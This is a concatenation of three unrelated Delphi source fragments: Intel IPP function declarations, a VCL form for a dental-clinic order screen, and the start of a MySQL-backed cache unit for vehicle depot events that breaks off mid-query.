function ippsAbs_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAbs_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAbs_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAbs_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsArg_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsArg_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsArg_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsArg_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsArg_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsArg_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAdd_32fc_A24( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAdd_64fc_A53( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSub_32fc_A24( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSub_64fc_A53( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_32fc_A11( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_32fc_A21( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_32fc_A24( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_64fc_A26( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_64fc_A50( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMul_64fc_A53( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_32fc_A11( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_32fc_A21( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_32fc_A24( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_64fc_A26( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_64fc_A50( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsDiv_64fc_A53( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCIS_32fc_A11( a : Ipp32fPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCIS_32fc_A21( a : Ipp32fPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCIS_32fc_A24( a : Ipp32fPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCIS_64fc_A26( a : Ipp64fPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCIS_64fc_A50( a : Ipp64fPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCIS_64fc_A53( a : Ipp64fPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsConj_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsConj_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMulByConj_32fc_A11( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMulByConj_32fc_A21( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMulByConj_32fc_A24( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMulByConj_64fc_A26( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMulByConj_64fc_A50( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsMulByConj_64fc_A53( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCos_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSin_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTan_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCosh_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSinh_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTanh_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcos_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsin_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtan_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAcosh_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAsinh_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsAtanh_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsExp_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLn_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsLog10_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_32fc_A11( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_32fc_A21( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_32fc_A24( a : Ipp32fcPtr ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_64fc_A26( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_64fc_A50( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsSqrt_64fc_A53( a : Ipp64fcPtr ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_32fc_A11( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_32fc_A21( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_32fc_A24( a : Ipp32fcPtr ; b : Ipp32fcPtr ;r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_64fc_A26( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_64fc_A50( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPow_64fc_A53( a : Ipp64fcPtr ; b : Ipp64fcPtr ;r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_32fc_A11( a : Ipp32fcPtr ; const b : Ipp32fc ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_32fc_A21( a : Ipp32fcPtr ; const b : Ipp32fc ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_32fc_A24( a : Ipp32fcPtr ; const b : Ipp32fc ; r : Ipp32fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_64fc_A26( a : Ipp64fcPtr ; const b : Ipp64fc ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_64fc_A50( a : Ipp64fcPtr ; const b : Ipp64fc ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsPowx_64fc_A53( a : Ipp64fcPtr ; const b : Ipp64fc ; r : Ipp64fcPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsFloor_32f( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsFloor_64f( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCeil_32f( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsCeil_64f( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTrunc_32f( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsTrunc_64f( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsRound_32f( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsRound_64f( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsRint_32f( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsRint_64f( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsNearbyInt_32f( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsNearbyInt_64f( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsModf_32f( a : Ipp32fPtr ; r1 : Ipp32fPtr ;r2 : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsModf_64f( a : Ipp64fPtr ; r1 : Ipp64fPtr ;r2 : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsFrac_32f( a : Ipp32fPtr ; r : Ipp32fPtr ; n : Ipp32s ): IppStatus; _ippapi
function ippsFrac_64f( a : Ipp64fPtr ; r : Ipp64fPtr ; n : Ipp32s ): IppStatus; _ippapi
{ AvO, deprecated or removed (incomplete) }
function ippiRGBToYCbCr_JPEG_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToYCbCr_JPEG_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize): IppStatus; _ippapi
function ippiRGBToYCbCr_JPEG_8u_C4P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize): IppStatus; _ippapi
function ippiYCbCrToRGB_JPEG_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize): IppStatus; _ippapi
function ippiYCbCrToRGB_JPEG_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize): IppStatus; _ippapi
function ippiYCbCrToRGB_JPEG_8u_P3C4R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; aval : Ipp8u ): IppStatus; _ippapi
end.
|
unit Odontologia.Vistas.Pedido;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Data.DB, Vcl.Grids, Vcl.DBGrids,
Vcl.Buttons, Vcl.StdCtrls, Odontologia.Controlador.Interfaces,
Odontologia.Controlador.Producto.Interfaces, Vcl.DBCtrls,
Odontologia.Controlador.Pedido.Interfaces;
type
TPagPedido = class(TForm)
btnBuscar: TSpeedButton;
[Bind('ID')]
[Bind('NOMBRE')]
[Bind('PRECIO')]
btnInsertar: TSpeedButton;
btnModificar: TSpeedButton;
btnEliminar: TSpeedButton;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
SpeedButton3: TSpeedButton;
SpeedButton4: TSpeedButton;
edtID: TEdit;
edtNOMBRE: TEdit;
edtPRECIO: TEdit;
DBGrid1: TDBGrid;
DBGrid2: TDBGrid;
DBGrid3: TDBGrid;
DBLookupComboBox1: TDBLookupComboBox;
Edit1: TEdit;
Button1: TButton;
DataSource1: TDataSource;
DataSource2: TDataSource;
DataSource3: TDataSource;
procedure FormCreate(Sender: TObject);
procedure btnBuscarClick(Sender: TObject);
procedure btnInsertarClick(Sender: TObject);
procedure btnModificarClick(Sender: TObject);
procedure DataSource1DataChange(Sender: TObject; Field: TField);
procedure btnEliminarClic(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
FController: iController;
FProducto: iControllerProducto;
FPedido: iControllerPedido;
public
{ Public declarations }
end;
var
PagPedido: TPagPedido;
implementation
uses
Odontologia.Controlador;
{$R *.dfm}
procedure TPagPedido.btnBuscarClick(Sender: TObject);
begin
FProducto.Buscar;
end;
procedure TPagPedido.btnEliminarClic(Sender: TObject);
begin
FProducto.Entidad.ID := StrToInt(edtID.Text);
FProducto.Eliminar;
FProducto.Buscar;
end;
procedure TPagPedido.btnInsertarClick(Sender: TObject);
begin
FProducto.Entidad.NOMBRE := edtNOMBRE.Text;
FProducto.Entidad.PRECIO := StrToCurr(edtPRECIO.Text);
FProducto.Insertar;
FProducto.Buscar;
end;
procedure TPagPedido.btnModificarClick(Sender: TObject);
begin
FProducto.Entidad.ID := StrToInt(edtID.Text);
FProducto.Entidad.NOMBRE := edtNOMBRE.Text;
FProducto.Entidad.PRECIO := StrToCurr(edtPRECIO.Text);
FProducto.Modificar;
FProducto.Buscar;
end;
procedure TPagPedido.Button1Click(Sender: TObject);
begin
FPedido.Item.Entidad.ID_PEDIDO := DataSource2.DataSet.FieldByName('ID').AsInteger;
FPedido.Item.Entidad.ID_PRODUCTO := DataSource1.DataSet.FieldByName('ID').AsInteger;
FPedido.Item.Entidad.PRECIO := DataSource1.DataSet.FieldByName('PRECIO').AsCurrency;
FPedido.Item.Entidad.CANTIDAD := StrToCurr(Edit1.Text);
// FPedido.Item.Entidad.VALOR_TOTAL := (fpedido.item.Entidad.PRECIO * StrToCurr(Edit1.Text));
FPedido.Item.Insertar;
FPedido.Item.Buscar(DataSource2.DataSet.FieldByName('ID').AsInteger);
end;
procedure TPagPedido.DataSource1DataChange(Sender: TObject; Field: TField);
begin
edtID.Text := DataSource1.DataSet.FieldByName('ID').AsString;
edtNOMBRE.Text := DataSource1.DataSet.FieldByName('NOMBRE').AsString;
edtPRECIO.Text := DataSource1.DataSet.FieldByName('PRECIO').AsString;
end;
procedure TPagPedido.FormCreate(Sender: TObject);
begin
FController := TController.New;
FProducto := FController.Producto.DataSource(DataSource1);
FPedido := FController.Pedido.DataSource(DataSource2);
FPedido.Item.DataSource(DataSource3);
end;
procedure TPagPedido.SpeedButton1Click(Sender: TObject);
begin
FPedido.Buscar;
end;
procedure TPagPedido.SpeedButton2Click(Sender: TObject);
begin
FPedido.Entidad.FECHA := now;
FPedido.Insertar;
FPedido.Buscar;
end;
end.
|
unit DP.EventDepot;
//------------------------------------------------------------------------------
// модуль кэша таблицы event_depot
//------------------------------------------------------------------------------
// содержит:
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
interface
uses
SysUtils,
System.Generics.Collections,
DP.Root,
Geo.Pos,
ZConnection, ZDataset,
Ils.MySql.Conf;
//------------------------------------------------------------------------------
type
//------------------------------------------------------------------------------
//! класс данных событий гаража
//------------------------------------------------------------------------------
TClassEventDepot = class(TDataObj)
private
//!
FID: Integer;
//!
FVehicleID: Integer;
//!
FDepotID: Integer;
//!
FDTMark: TDateTime;
//!
FDuration: Double;
//!
FTill: TDateTime;
//!
procedure SetTill(const Value: TDateTime);
procedure SetDuration(const Value: Double);
procedure SetID(const Value: Integer);
protected
//!
function GetDTMark(): TDateTime; override;
public
constructor Create(
const ID: Integer;
const VehicleID: Integer;
const DepotID: Integer;
const DTMark: TDateTime;
const Duration: Double
);
//!
property ID: Integer read FID write SetID;
property VehicleID: Integer read FVehicleID;
property DepotID: Integer read FDepotID;
property Duration: Double read FDuration write SetDuration;
property Till: TDateTime read FTill write SetTill;
end;
//------------------------------------------------------------------------------
//! класс кэша событий гаража
//------------------------------------------------------------------------------
TCacheEventDepot = class(TCacheRoot)
protected
//! вставить запись в БД
procedure ExecDBInsert(
const AObj: IDataObj
); override;
//! обновить запись в БД
procedure ExecDBUpdate(
const AObj: IDataObj
); override;
//! преобразователь из записи БД в объект
function MakeObjFromReadReq(
const AQuery: TZQuery
): IDataObj; override;
public
constructor Create(
const ReadConnection: TZConnection;
const WriteConnection: TZConnection;
const DBWriteback: Boolean;
const MaxKeepCount: Integer;
const LoadDelta: Double
);
end;
//------------------------------------------------------------------------------
//! ключ списка кэшей событий гаража
//------------------------------------------------------------------------------
TEventDepotDictKey = packed record
//!
VehicleID: Integer;
//!
DepotID: Integer;
end;
//------------------------------------------------------------------------------
//! класс списка кэшей событий гаража
//------------------------------------------------------------------------------
TEEventDepotDictionary = class(TCacheDictionaryRoot<TEventDepotDictKey>);
//------------------------------------------------------------------------------
implementation
const
//------------------------------------------------------------------------------
// запросы к БД
//------------------------------------------------------------------------------
CSQLReadRange = 'SELECT *'
+ ' FROM event_depot'
+ ' WHERE VehicleID = :v_id'
+ ' AND DepotID = :d_id'
+ ' AND dt >= :dt_from'
+ ' AND dt <= :dt_to';
CSQLReadBefore = 'SELECT *'
+ ' FROM event_depot'
+ ' WHERE VehicleID = :v_id'
+ ' AND DepotID = :d_id'
+ ' AND DT < :dt'
+ ' ORDER BY DT DESC'
